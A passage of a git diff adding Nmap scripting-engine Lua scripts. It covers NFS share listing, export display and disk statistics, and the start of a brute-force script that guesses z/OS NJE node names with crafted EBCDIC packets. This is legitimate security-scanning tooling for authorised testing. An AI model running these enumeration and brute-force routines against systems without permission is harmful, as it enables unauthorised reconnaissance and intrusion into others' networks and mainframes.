+-- | drwxr-xr-x 1000 100 4096 2010-06-11 22:31 /home/storage/backup
+-- | -rw-r--r-- 1000 1002 0 2010-06-10 08:34 filetest
+-- | drwx------ 1000 100 16384 2010-02-05 17:05 lost+found
+-- | -rw-r--r-- 0 0 5 2010-06-10 11:32 rootfile
+-- | lrwxrwxrwx 1000 1002 8 2010-06-10 08:34 symlink
+-- |_
+--
+-- @xmloutput
+-- <table key="volumes">
+-- <table>
+-- <elem key="volume">/mnt/nfs/files</elem>
+-- <table key="files">
+-- <table>
+-- <elem key="permission">drwxr-xr-x</elem>
+-- <elem key="uid">1000</elem>
+-- <elem key="gid">100</elem>
+-- <elem key="size">4096</elem>
+-- <elem key="time">2010-06-11 22:31</elem>
+-- <elem key="filename">/mnt/nfs/files</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">-rw-r-&#45;r-&#45;</elem>
+-- <elem key="uid">1000</elem>
+-- <elem key="gid">1002</elem>
+-- <elem key="size">0</elem>
+-- <elem key="time">2010-06-10 08:34</elem>
+-- <elem key="filename">filetest</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">drwx-&#45;&#45;&#45;&#45;&#45;</elem>
+-- <elem key="uid">0</elem>
+-- <elem key="gid">0</elem>
+-- <elem key="size">16384</elem>
+-- <elem key="time">2010-02-05 17:05</elem>
+-- <elem key="filename">lost+found</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">-rw-r-&#45;r-&#45;</elem>
+-- <elem key="uid">0</elem>
+-- <elem key="gid">0</elem>
+-- <elem key="size">5</elem>
+-- <elem key="time">2010-06-10 11:32</elem>
+-- <elem key="filename">rootfile</elem>
+-- </table>
+-- <table>
+-- <elem key="permission">lrwxrwxrwx</elem>
+-- <elem key="uid">1000</elem>
+-- <elem key="gid">1002</elem>
+-- <elem key="size">8</elem>
+-- <elem key="time">2010-06-10 08:34</elem>
+-- <elem key="filename">symlink</elem>
+-- </table>
+-- </table>
+-- <table key="info">
+-- <elem>access: Read Lookup NoModify NoExtend NoDelete NoExecute</elem>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="total">
+-- <elem key="files">5</elem>
+-- <elem key="bytes">20493</elem>
+-- </table>
+
+-- Created 05/28/2010 - v0.1 - combined nfs-dirlist and nfs-acls scripts
+-- Revised 06/04/2010 - v0.2 - make NFS exports listing with their acls
+-- default action.
+-- Revised 06/07/2010 - v0.3 - added mactimes output.
+-- Revised 06/10/2010 - v0.4 - use the new library functions and list
+-- entries with their attributes.
+-- Revised 06/11/2010 - v0.5 - make the mtime the default time to show.
+-- Revised 06/12/2010 - v0.6 - reworked the output to use the tab
+-- library.
+-- Revised 06/27/2010 - v0.7 - added NFSv3 ACCESS support.
+-- Revised 06/28/2010 - v0.8 - added NFSv2 support.
+--
+
+author = {"Patrik Karlsson", "Djalal Harouni"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"rpc-grind"}
+
+
+portrule = shortport.port_or_service(111, "rpcbind", {"tcp", "udp"} )
+
+hostrule = function(host)
+ local mountport, nfsport
+ if host.registry.nfs then
+ mountport = host.registry.nfs.mountport
+ nfsport = host.registry.nfs.nfsport
+ else
+ host.registry.nfs = {}
+ end
+ for _,proto in ipairs({"tcp","udp"}) do
+ local port = nmap.get_ports(host, nil, proto, "open")
+ while port do
+ if port.version then
+ if port.service == "mountd" then
+ mountport = port
+ elseif port.service == "nfs" then
+ nfsport = port
+ end
+ end
+ if mountport and nfsport then break end
+ port = nmap.get_ports(host, port, proto, "open")
+ end
+ if mountport and nfsport then break end
+ end
+ -- Run when nfs and mount ports were scanned and their versions numbers known
+ if not (nfsport and (host.registry.nfs.nfsver or nfsport.version.version)) then
+ return false
+ end
+ if not (mountport and (host.registry.nfs.mountver or mountport.version.version)) then
+ return false
+ end
+ if host.registry.nfs.nfsver == nil then
+ local low, high = string.match(nfsport.version.version, "(%d)%-(%d)")
+ if high == nil then
+ high = tonumber(nfsport.version.version)
+ if high == 4 then
+ return false --Can't support version 4
+ else
+ host.registry.nfs.nfsver = high
+ end
+ else
+ if high == "4" then
+ host.registry.nfs.nfsver = 3
+ else
+ host.registry.nfs.nfsver = tonumber(low)
+ end
+ end
+ end
+ if host.registry.nfs.mountver == nil then
+ local low, high = string.match(mountport.version.version, "(%d)%-(%d)")
+ if high == nil then
+ host.registry.nfs.mountver = tonumber(mountport.version.version)
+ else
+ host.registry.nfs.mountver = tonumber(high)
+ end
+ end
+ host.registry.nfs.mountport = mountport
+ host.registry.nfs.nfsport = nfsport
+ return (mountport and nfsport)
+end
+
+local procedures = { }
+
+local function table_attributes(nfs, mount, attr)
+ local file = {}
+
+ if attr.mode then
+ file.type = rpc.Util.FtypeToChar(attr.mode)
+ file.mode = rpc.Util.FpermToString(attr.mode)
+ file.uid = tostring(attr.uid)
+ file.gid = tostring(attr.gid)
+ if nfs.human then
+ file.size = rpc.Util.SizeToHuman(attr.size)
+ else
+ file.size = tostring(attr.size)
+ end
+ file.time = rpc.Util.TimeToString(attr[nfs.time].seconds)
+ else
+ file.type = '?'
+ file.mode = '?????????'
+ file.uid = '?'
+ file.gid = '?'
+ file.size = '?'
+ file.time = '?'
+ end
+ file.filename = mount
+
+ return file
+end
+
+local function table_dirlist(nfs, mount, dirlist)
+ local ret, files, attrs = {}, {}, {}
+ local idx = 1
+
+ for _, v in ipairs(dirlist) do
+ if ((0 < nfs.maxfiles) and (#files >= nfs.maxfiles)) then
+ break
+ end
+
+ if v.attributes then
+ table.insert(files, v.name)
+ attrs[files[idx]] = table_attributes(nfs, v.name, v.attributes)
+ idx = idx + 1
+ else
+ stdnse.debug1("ERROR attributes: %s", v.name)
+ end
+ end
+
+ table.sort(files)
+ for _, v in pairs(files) do
+ table.insert(ret, attrs[v])
+ end
+
+ return ret
+end
+
+-- Unmount the NFS file system and close the connections
+local function unmount_nfs(mount, mnt_obj, nfs_obj)
+ rpc.Helper.NfsClose(nfs_obj)
+ rpc.Helper.UnmountPath(mnt_obj, mount)
+end
+
+local function nfs_ls(nfs, mount, output)
+ local dirs, attr, acs = {}, {}, {}
+ local nfsobj = rpc.NFS:new()
+ local mnt_comm, nfs_comm, fhandle
+
+ mnt_comm, fhandle = procedures.MountPath(nfs.host, mount)
+ if mnt_comm == nil then
+ ls.report_error(output, fhandle)
+ return false
+ end
+
+ local nfs_comm, status = procedures.NfsOpen(nfs.host)
+ if nfs_comm == nil then
+ rpc.Helper.UnmountPath(mnt_comm, mount)
+ ls.report_error(output, status)
+ return false
+ end
+
+ -- check if NFS and Mount versions are compatible
+ -- RPC library will check if the Mount and NFS versions are supported
+ if (nfs_comm.version == 1) then
+ unmount_nfs(mount, mnt_comm, nfs_comm)
+ ls.report_error(output,
+ string.format("NFS v%d not supported", nfs_comm.version))
+ return false
+ elseif ((nfs_comm.version == 2 and mnt_comm.version > 2) or
+ (nfs_comm.version == 3 and mnt_comm.version ~= 3)) then
+ unmount_nfs(mount, mnt_comm, nfs_comm)
+ ls.report_error(output,
+ string.format("versions mismatch, NFS v%d - Mount v%d",
+ nfs_comm.version, mnt_comm.version))
+ return false
+ end
+
+ status, attr = nfsobj:GetAttr(nfs_comm, fhandle)
+ if not status then
+ unmount_nfs(mount, mnt_comm, nfs_comm)
+ ls.report_error(output, attr)
+ return status
+ end
+
+ if nfs_comm.version == 3 then
+ status, acs = nfsobj:Access(nfs_comm, fhandle, 0x0000003F)
+ if status then
+ acs.str = rpc.Util.format_access(acs.mask, nfs_comm.version)
+ ls.report_info(output, string.format("access: %s", acs.str))
+ end
+
+ status, dirs = nfsobj:ReadDirPlus(nfs_comm, fhandle)
+ if status then
+ for _,v in ipairs(table_dirlist(nfs, mount, dirs.entries)) do
+ ls.add_file(output, {v.type .. v.mode, v.uid, v.gid, v.size,
+ v.time, v.filename})
+ end
+ end
+ elseif nfs_comm.version == 2 then
+ status, dirs = nfsobj:ReadDir(nfs_comm, fhandle)
+ if status then
+ local lookup = {}
+ for _, v in ipairs(dirs.entries) do
+ if ((0 < nfs.maxfiles) and (#lookup >= nfs.maxfiles)) then
+ break
+ end
+
+ local f = {}
+ status, f = nfsobj:LookUp(nfs_comm, fhandle, v.name)
+ f.name = v.name
+ table.insert(lookup, f)
+ end
+
+ for _, v in ipairs(table_dirlist(nfs, mount, lookup)) do
+ ls.add_file(output, {v.type .. v.mode, v.uid, v.gid, v.size,
+ v.time, v.filename})
+ end
+ end
+ end
+
+ unmount_nfs(mount, mnt_comm, nfs_comm)
+ return status
+end
+
+local mainaction = function(host)
+ local results, mounts, status = {}, {}
+ local nfs_info =
+ {
+ host = host,
+ --recurs = tonumber(nmap.registry.args['nfs-ls.recurs']) or 1,
+ }
+ local output = ls.new_listing()
+
+ nfs_info.version, nfs_info.time = stdnse.get_script_args('nfs.version',
+ 'nfs-ls.time')
+ nfs_info.maxfiles = ls.config('maxfiles')
+ nfs_info.human = ls.config('human')
+
+ if nfs_info.time == "a" or nfs_info.time == "A" then
+ nfs_info.time = "atime"
+ elseif nfs_info.time == "c" or nfs_info.time == "C" then
+ nfs_info.time = "ctime"
+ else
+ nfs_info.time = "mtime"
+ end
+
+ status, mounts = procedures.ShowMounts(nfs_info.host)
+ if not status or mounts == nil then
+ if mounts then
+ return stdnse.format_output(false, mounts)
+ else
+ return stdnse.format_output(false, "Mount error")
+ end
+ end
+
+ for _, v in ipairs(mounts) do
+ local err
+ ls.new_vol(output, v.name, true)
+ status = nfs_ls(nfs_info, v.name, output)
+ ls.end_vol(output)
+ end
+
+ return ls.end_listing(output)
+end
+
+hostaction = function(host)
+ procedures = {
+ ShowMounts = function(ahost)
+ local mnt_comm, status, result, mounts
+ local mnt = rpc.Mount:new()
+ mnt_comm = rpc.Comm:new('mountd', host.registry.nfs.mountver)
+ status, result = mnt_comm:Connect(ahost, host.registry.nfs.mountport)
+ if ( not(status) ) then
+ stdnse.debug1("ShowMounts: %s", result)
+ return false, result
+ end
+ status, mounts = mnt:Export(mnt_comm)
+ mnt_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug1("ShowMounts: %s", mounts)
+ end
+ return status, mounts
+ end,
+
+ MountPath = function(ahost, path)
+ local fhandle, status, err
+ local mountd, mnt_comm
+ local mnt = rpc.Mount:new()
+
+ mnt_comm = rpc.Comm:new("mountd", host.registry.nfs.mountver)
+
+ status, err = mnt_comm:Connect(host, host.registry.nfs.mountport)
+ if not status then
+ stdnse.debug1("MountPath: %s", err)
+ return nil, err
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path)
+ if not status then
+ mnt_comm:Disconnect()
+ stdnse.debug1("MountPath: %s", fhandle)
+ return nil, fhandle
+ end
+
+ return mnt_comm, fhandle
+ end,
+
+ NfsOpen = function(ahost)
+ local nfs_comm, status, err
+
+ nfs_comm = rpc.Comm:new('nfs', host.registry.nfs.nfsver)
+ status, err = nfs_comm:Connect(host, host.registry.nfs.nfsport)
+ if not status then
+ stdnse.debug1("NfsOpen: %s", err)
+ return nil, err
+ end
+
+ return nfs_comm, nil
+ end,
+ }
+ return mainaction(host)
+end
+
+portaction = function(host, port)
+ procedures = {
+ ShowMounts = function(ahost)
+ return rpc.Helper.ShowMounts(ahost, port)
+ end,
+ MountPath = function(ahost, path)
+ return rpc.Helper.MountPath(ahost, port, path)
+ end,
+ NfsOpen = function(ahost)
+ return rpc.Helper.NfsOpen(ahost, port)
+ end,
+ }
+ return mainaction(host)
+end
+
+local ActionsTable = {
+ -- portrule: use rpcbind service
+ portrule = portaction,
+ -- hostrule: Talk to services directly
+ hostrule = hostaction
+}
+
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/nfs-showmount.nse b/scripts/nfs-showmount.nse
new file mode 100644
index 0000000..007bd7d
--- /dev/null
+++ b/scripts/nfs-showmount.nse
@@ -0,0 +1,97 @@
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+
+description = [[
+Shows NFS exports, like the <code>showmount -e</code> command.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 111/tcp open rpcbind
+-- | nfs-showmount:
+-- | /home/storage/backup 10.46.200.0/255.255.255.0
+-- |_ /home 1.2.3.4/255.255.255.255 10.46.200.0/255.255.255.0
+--
+
+-- Version 0.7
+
+-- Created 11/23/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 11/24/2009 - v0.2 - added RPC query to find mountd ports
+-- Revised 11/24/2009 - v0.3 - added a hostrule instead of portrule
+-- Revised 11/26/2009 - v0.4 - reduced packet sizes and documented them
+-- Revised 01/24/2009 - v0.5 - complete rewrite, moved all NFS related code into nselib/nfs.lua
+-- Revised 02/22/2009 - v0.6 - adapted to support new RPC library
+-- Revised 03/13/2010 - v0.7 - converted host to port rule
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"rpc-grind"}
+
+
+portrule = shortport.port_or_service(111, {"rpcbind", "mountd"}, {"tcp", "udp"} )
+
+local function get_exports(host, port)
+ local mnt = rpc.Mount:new()
+ local mountver
+ if host.registry.nfs then
+ mountver = host.registry.nfs.mountver
+ else
+ host.registry.nfs = {}
+ end
+ if mountver == nil then
+ local low, high = string.match(port.version.version, "(%d)%-(%d)")
+ if high == nil then
+ mountver = tonumber(port.version.version)
+ else
+ mountver = tonumber(high)
+ end
+ end
+ local mnt_comm = rpc.Comm:new('mountd', mountver)
+ local status, result = mnt_comm:Connect(host, port)
+ if ( not(status) ) then
+ stdnse.debug4("get_exports: %s", result)
+ return false, result
+ end
+ host.registry.nfs.mountver = mountver
+ host.registry.nfs.mountport = port
+ local status, mounts = mnt:Export(mnt_comm)
+ mnt_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug4("get_exports: %s", mounts)
+ end
+ return status, mounts
+end
+
+action = function(host, port)
+
+ local status, mounts, proto
+ local result = {}
+
+ if port.service == "mountd" then
+ status, mounts = get_exports( host, port )
+ else
+ status, mounts = rpc.Helper.ShowMounts( host, port )
+ end
+
+ if not status or mounts == nil then
+ return stdnse.format_output(false, mounts)
+ end
+
+ if #mounts < 1 then
+ return "No NFS mounts available"
+ end
+
+ for _, v in ipairs( mounts ) do
+ local entry = v.name .. " " .. table.concat(v, " ")
+ table.insert( result, entry )
+ end
+
+ return stdnse.format_output( true, result )
+
+end
diff --git a/scripts/nfs-statfs.nse b/scripts/nfs-statfs.nse
new file mode 100644
index 0000000..2086978
--- /dev/null
+++ b/scripts/nfs-statfs.nse
@@ -0,0 +1,359 @@
+local rpc = require "rpc"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local nmap = require "nmap"
+
+description = [[
+Retrieves disk space statistics and information from a remote NFS share.
+The output is intended to resemble the output of <code>df</code>.
+
+The script will provide pathconf information of the remote NFS if
+the version used is NFSv3.
+]]
+
+---
+-- @usage
+-- nmap -p 111 --script=nfs-statfs <target>
+-- nmap -sV --script=nfs-statfs <target>
+-- @output
+-- PORT STATE SERVICE
+-- | nfs-statfs:
+-- | Filesystem 1K-blocks Used Available Use% Blocksize
+-- | /mnt/nfs/files 5542276 2732012 2528728 52% 4096
+-- |_ /mnt/nfs/opensource 5534416 620640 4632644 12% 4096
+--
+-- @args nfs-statfs.human If set to <code>1</code> or <code>true</code>,
+-- shows file sizes in a human readable format with suffixes like
+-- <code>KB</code> and <code>MB</code>.
+
+-- Version 0.3
+
+-- Created 01/25/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 02/22/2010 - v0.2 - adapted to support new RPC library
+-- Revised 03/13/2010 - v0.3 - converted host to port rule
+-- Revised 06/28/2010 - v0.4 - added NFSv3 support and doc
+
+
+author = {"Patrik Karlsson", "Djalal Harouni"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"rpc-grind"}
+
+
+portrule = shortport.port_or_service(111, "rpcbind", {"tcp", "udp"} )
+
+hostrule = function(host)
+ local mountport, nfsport
+ if host.registry.nfs then
+ mountport = host.registry.nfs.mountport
+ nfsport = host.registry.nfs.nfsport
+ else
+ host.registry.nfs = {}
+ end
+ for _,proto in ipairs({"tcp","udp"}) do
+ local port = nmap.get_ports(host, nil, proto, "open")
+ while port do
+ if port.version then
+ if port.service == "mountd" then
+ mountport = port
+ elseif port.service == "nfs" then
+ nfsport = port
+ end
+ end
+ if mountport and nfsport then break end
+ port = nmap.get_ports(host, port, proto, "open")
+ end
+ if mountport and nfsport then break end
+ end
+ -- Run when nfs and mount ports were scanned and their versions numbers known
+ if not (nfsport and (host.registry.nfs.nfsver or nfsport.version.version)) then
+ return false
+ end
+ if not (mountport and (host.registry.nfs.mountver or mountport.version.version)) then
+ return false
+ end
+ if host.registry.nfs.nfsver == nil then
+ local low, high = string.match(nfsport.version.version, "(%d)%-(%d)")
+ if high == nil then
+ high = tonumber(nfsport.version.version)
+ if high == 4 then
+ return false --Can't support version 4
+ else
+ host.registry.nfs.nfsver = high
+ end
+ else
+ if high == "4" then
+ host.registry.nfs.nfsver = 3
+ else
+ host.registry.nfs.nfsver = tonumber(low)
+ end
+ end
+ end
+ if host.registry.nfs.mountver == nil then
+ local low, high = string.match(mountport.version.version, "(%d)%-(%d)")
+ if high == nil then
+ host.registry.nfs.mountver = tonumber(mountport.version.version)
+ else
+ host.registry.nfs.mountver = tonumber(high)
+ end
+ end
+ host.registry.nfs.mountport = mountport
+ host.registry.nfs.nfsport = nfsport
+ return (mountport and nfsport)
+end
+
+local procedures = { }
+
+local function table_fsstat(nfs, mount, stats)
+ local fs, err = rpc.Util.calc_fsstat_table(stats, nfs.version, nfs.human)
+ if fs == nil then
+ return false, err
+ end
+ fs.filesystem = string.format("%s", mount)
+ return true, fs
+end
+
+local function table_fsinfo(nfs, fsinfo)
+ local ret = {}
+ local fs, err = rpc.Util.calc_fsinfo_table(fsinfo, nfs.version, nfs.human)
+ if fs == nil then
+ return false, err
+ end
+
+ ret.maxfilesize = fs.maxfilesize
+ return true, ret
+end
+
+local function table_pathconf(nfs, pconf)
+ local ret = {}
+ local fs, err = rpc.Util.calc_pathconf_table(pconf, nfs.version)
+ if fs == nil then
+ return false, err
+ end
+
+ ret.linkmax = fs.linkmax
+ return true, ret
+end
+
+local function report(nfs, tables)
+ local outtab, tab_size, tab_avail
+ local tab_filesys, tab_used, tab_use,
+ tab_bs, tab_maxfs, tab_linkmax = "Filesystem",
+ "Used", "Use%", "Blocksize", "Maxfilesize", "Maxlink"
+
+ if nfs.human then
+ tab_size = "Size"
+ tab_avail = "Avail"
+ else
+ tab_size = "1K-blocks"
+ tab_avail = "Available"
+ end
+
+ if nfs.version == 2 then
+ outtab = tab.new()
+ tab.addrow(outtab, tab_filesys, tab_size, tab_used,
+ tab_avail, tab_use, tab_bs)
+ for _, t in ipairs(tables) do
+ tab.addrow(outtab, t.filesystem, t.size,
+ t.used, t.available, t.use, t.bsize)
+ end
+ elseif nfs.version == 3 then
+ outtab = tab.new()
+ tab.addrow(outtab, tab_filesys, tab_size, tab_used,
+ tab_avail, tab_use, tab_maxfs, tab_linkmax)
+ for _, t in ipairs(tables) do
+ tab.addrow(outtab, t.filesystem, t.size, t.used,
+ t.available, t.use, t.maxfilesize, t.linkmax)
+ end
+ end
+
+ return tab.dump(outtab)
+end
+
+local function nfs_filesystem_info(nfs, mount, filesystem)
+ local results, res, status = {}, {}
+ local nfsobj = rpc.NFS:new()
+ local mnt_comm, nfs_comm, fhandle
+
+ mnt_comm, fhandle = procedures.MountPath(nfs.host, mount)
+ if mnt_comm == nil then
+ return false, fhandle
+ end
+
+ local nfs_comm, status = procedures.NfsOpen(nfs.host)
+ if nfs_comm == nil then
+ rpc.Helper.UnmountPath(mnt_comm, mount)
+ return false, status
+ end
+
+ nfs.version = nfs_comm.version
+
+ -- use simple check since NFSv1 is not used anymore, and NFSv4 not supported
+ if (nfs_comm.version <= 2 and mnt_comm.version > 2) then
+ rpc.Helper.UnmountPath(mnt_comm, mount)
+ return false, string.format("versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ end
+
+ if nfs_comm.version < 3 then
+ status, res = nfsobj:StatFs(nfs_comm, fhandle)
+ elseif nfs_comm.version == 3 then
+ status, res = nfsobj:FsStat(nfs_comm, fhandle)
+ end
+
+ if status then
+ status, res = table_fsstat(nfs, mount, res)
+ if status then
+ for k, v in pairs(res) do
+ results[k] = v
+ end
+ end
+
+ if nfs_comm.version == 3 then
+ status, res = nfsobj:FsInfo(nfs_comm, fhandle)
+ if status then
+ status, res = table_fsinfo(nfs, res)
+ if status then
+ for k, v in pairs(res) do
+ results[k] = v
+ end
+ end
+ end
+
+ status, res = nfsobj:PathConf(nfs_comm, fhandle)
+ if status then
+ status, res = table_pathconf(nfs, res)
+ if status then
+ for k, v in pairs(res) do
+ results[k] = v
+ end
+ end
+ end
+
+ end
+ end
+
+ rpc.Helper.NfsClose(nfs_comm)
+ rpc.Helper.UnmountPath(mnt_comm, mount)
+ if (not(status)) then
+ return status, res
+ end
+
+ table.insert(filesystem, results)
+ return true, nil
+end
+
+mainaction = function(host)
+ local fs_info, mounts, status = {}, {}, {}
+ local nfs_info =
+ {
+ host = host,
+ }
+ nfs_info.human = stdnse.get_script_args('nfs-statfs.human')
+
+ status, mounts = procedures.ShowMounts( host )
+ if (not(status)) then
+ return stdnse.format_output(false, mounts)
+ end
+
+ if #mounts < 1 then
+ stdnse.debug1("No NFS mounts available")
+ return nil
+ end
+
+ for _, v in ipairs(mounts) do
+ local err
+ status, err = nfs_filesystem_info(nfs_info, v.name, fs_info)
+ if (not(status)) then
+ return stdnse.format_output(false,
+ string.format("%s: %s", v.name, err))
+ end
+ end
+
+ return stdnse.format_output(true, report(nfs_info, fs_info))
+end
+
+hostaction = function(host)
+ procedures = {
+ ShowMounts = function(ahost)
+ local mnt_comm, status, result, mounts
+ local mnt = rpc.Mount:new()
+ mnt_comm = rpc.Comm:new('mountd', host.registry.nfs.mountver)
+ status, result = mnt_comm:Connect(ahost, host.registry.nfs.mountport)
+ if ( not(status) ) then
+ stdnse.debug1("ShowMounts: %s", result)
+ return false, result
+ end
+ status, mounts = mnt:Export(mnt_comm)
+ mnt_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug1("ShowMounts: %s", mounts)
+ end
+ return status, mounts
+ end,
+
+ MountPath = function(ahost, path)
+ local fhandle, status, err
+ local mountd, mnt_comm
+ local mnt = rpc.Mount:new()
+
+ mnt_comm = rpc.Comm:new("mountd", host.registry.nfs.mountver)
+
+ status, err = mnt_comm:Connect(host, host.registry.nfs.mountport)
+ if not status then
+ stdnse.debug1("MountPath: %s", err)
+ return nil, err
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path)
+ if not status then
+ mnt_comm:Disconnect()
+ stdnse.debug1("MountPath: %s", fhandle)
+ return nil, fhandle
+ end
+
+ return mnt_comm, fhandle
+ end,
+
+ NfsOpen = function(ahost)
+ local nfs_comm, status, err
+
+ nfs_comm = rpc.Comm:new('nfs', host.registry.nfs.nfsver)
+ status, err = nfs_comm:Connect(host, host.registry.nfs.nfsport)
+ if not status then
+ stdnse.debug1("NfsOpen: %s", err)
+ return nil, err
+ end
+
+ return nfs_comm, nil
+ end,
+ }
+ return mainaction(host)
+end
+
+portaction = function(host, port)
+ procedures = {
+ ShowMounts = function(ahost)
+ return rpc.Helper.ShowMounts(ahost, port)
+ end,
+ MountPath = function(ahost, path)
+ return rpc.Helper.MountPath(ahost, port, path)
+ end,
+ NfsOpen = function(ahost)
+ return rpc.Helper.NfsOpen(ahost, port)
+ end,
+ }
+ return mainaction(host)
+end
+
+local ActionsTable = {
+ -- portrule: use rpcbind service
+ portrule = portaction,
+ -- hostrule: Talk to services directly
+ hostrule = hostaction
+}
+
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/nje-node-brute.nse b/scripts/nje-node-brute.nse
new file mode 100644
index 0000000..3f10a8a
--- /dev/null
+++ b/scripts/nje-node-brute.nse
@@ -0,0 +1,175 @@
+local io = require "io"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local drda = require "drda"
+local comm = require "comm"
+
+description = [[
+z/OS JES Network Job Entry (NJE) target node name brute force.
+
+NJE node communication is made up of an OHOST and an RHOST. Both fields
+must be present when conducting the handshake. This script attemtps to
+determine the target systems NJE node name.
+
+To initiate NJE the client sends a 33 byte record containing the type of
+record, the hostname (RHOST), IP address (RIP), target (OHOST),
+target IP (OIP) and a 1 byte response value (R) as outlined below:
+
+<code>
+0 1 2 3 4 5 6 7 8 9 A B C D E F
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+| TYPE | RHOST |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+| RIP | OHOST | OIP |
++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+| R |
++-+-+
+</code>
+
+* TYPE: Can either be 'OPEN', 'ACK', or 'NAK', in EBCDIC, padded by spaces to make 8 bytes. This script always send 'OPEN' type.
+* RHOST: Node name of the local machine initiating the connection. Set to 'FAKE'.
+* RIP: Hex value of the local systems IP address. Set to '0.0.0.0'
+* OHOST: The value being enumerated to determine the targets NJE node name.
+* OIP: IP address, in hex, of the target system. Set to '0.0.0.0'.
+* R: The response. NJE will send an 'R' of 0x01 if the OHOST is wrong or 0x04 if the OHOST is correct.
+
+By default this script will attempt the brute force a mainframes OHOST. If supplied with
+the argument <code>nje-node-brute.ohost</code> this script will attempt the bruteforce
+the RHOST, setting OHOST to the value supplied to the argument.
+
+Since most systems will only have one OHOST name, it is recommended to use the
+<code>brute.firstonly</code> script argument.
+]]
+
+
+---
+-- @usage
+-- nmap -sV --script=nje-node-brute <target>
+-- nmap --script=nje-node-brute --script-args=hostlist=nje_names.txt -p 175 <target>
+--
+-- @args nje-node-brute.hostlist The filename of a list of node names to try.
+-- Defaults to "nselib/data/vhosts-default.lst"
+--
+-- @args nje-node-brute.ohost The target mainframe OHOST. Used to bruteforce RHOST.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 175/tcp open nje syn-ack
+-- | nje-node-brute:
+-- | Node Name:
+-- | POTATO:CACTUS - Valid credentials
+-- |_ Statistics: Performed 6 guesses in 14 seconds, average tps: 0
+--
+-- @changelog
+-- 2015-06-15 - v0.1 - created by Soldier of Fortran
+-- 2016-03-22 - v0.2 - Added RHOST Brute forcing.
+
+author = "Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({175,2252}, "nje")
+
+local openNJEfmt = "\xd6\xd7\xc5\xd5@@@@%s\0\0\0\0%s\0\0\0\0\0"
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ -- the high timeout should take delays into consideration
+ local s, r, opts, _ = comm.tryssl(self.host, self.port, '', { timeout = 50000 } )
+ if ( not(s) ) then
+ stdnse.debug2("Failed to connect")
+ return false, "Failed to connect to server"
+ end
+ self.socket = s
+ return true
+ end,
+
+ disconnect = function( self )
+ return self.socket:close()
+ end,
+
+ login = function( self, username, password ) -- Technically we're not 'logging in' we're just using password
+ -- Generates an NJE 'OPEN' packet with the node name
+ password = string.upper(password)
+ stdnse.verbose(2,"Trying... %s", password)
+ local openNJE
+ if self.options['ohost'] then
+ -- One RHOST may have many valid OHOSTs
+ if password == self.options['ohost'] then return false, brute.Error:new( "RHOST cannot be OHOST" ) end
+ openNJE = openNJEfmt:format(drda.StringUtil.toEBCDIC(("%-8s"):format(password)),
+ drda.StringUtil.toEBCDIC(("%-8s"):format(self.options['ohost'])) )
+ else
+ openNJE = openNJEfmt:format(drda.StringUtil.toEBCDIC(("%-8s"):format('FAKE')),
+ drda.StringUtil.toEBCDIC(("%-8s"):format(password)) )
+ end
+ local status, err = self.socket:send( openNJE )
+ if not status then return false, "Failed to send" end
+ local status, data = self.socket:receive_bytes(33)
+ if not status then return false, "Failed to receive" end
+ if ( not self.options['ohost'] and ( data:sub(-1) == "\x04" ) ) or
+ ( self.options['ohost'] and ( data:sub(-1) == "\0" ) ) then
+ -- stdnse.verbose(2,"Valid Node Name Found: %s", password)
+ return true, creds.Account:new((self.options['ohost'] or "Node Name"), password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Invalid Node Name" )
+ end,
+}
+
+-- Checks string to see if it follows node naming limitations
+local valid_name = function(x)
+ local patt = "[%w@#%$]"
+ return (string.len(x) <= 8 and string.match(x,patt))
+end
+
+function iter(t)
+ local i, val
+ return function()
+ i, val = next(t, i)
+ return val
+ end
+end
+
+action = function( host, port )
+ -- Oftentimes the LPAR will be one of the subdomain of a system.
+ local names = host.name and stringaux.strsplit("%.", host.name) or {}
+ local o_host = stdnse.get_script_args('nje-node-brute.ohost') or nil
+ local options = {}
+ if o_host then options = { ohost = o_host:upper() } end
+ if host.targetname then
+ host.targetname:gsub("[^.]+", function(n) table.insert(names, n) end)
+ end
+ local filename = stdnse.get_script_args('nje-node-brute.hostlist')
+ filename = (filename and nmap.fetchfile(filename) or filename) or
+ nmap.fetchfile("nselib/data/vhosts-default.lst")
+ for l in io.lines(filename) do
+ if not l:match("#!comment:") then
+ table.insert(names, l)
+ end
+ end
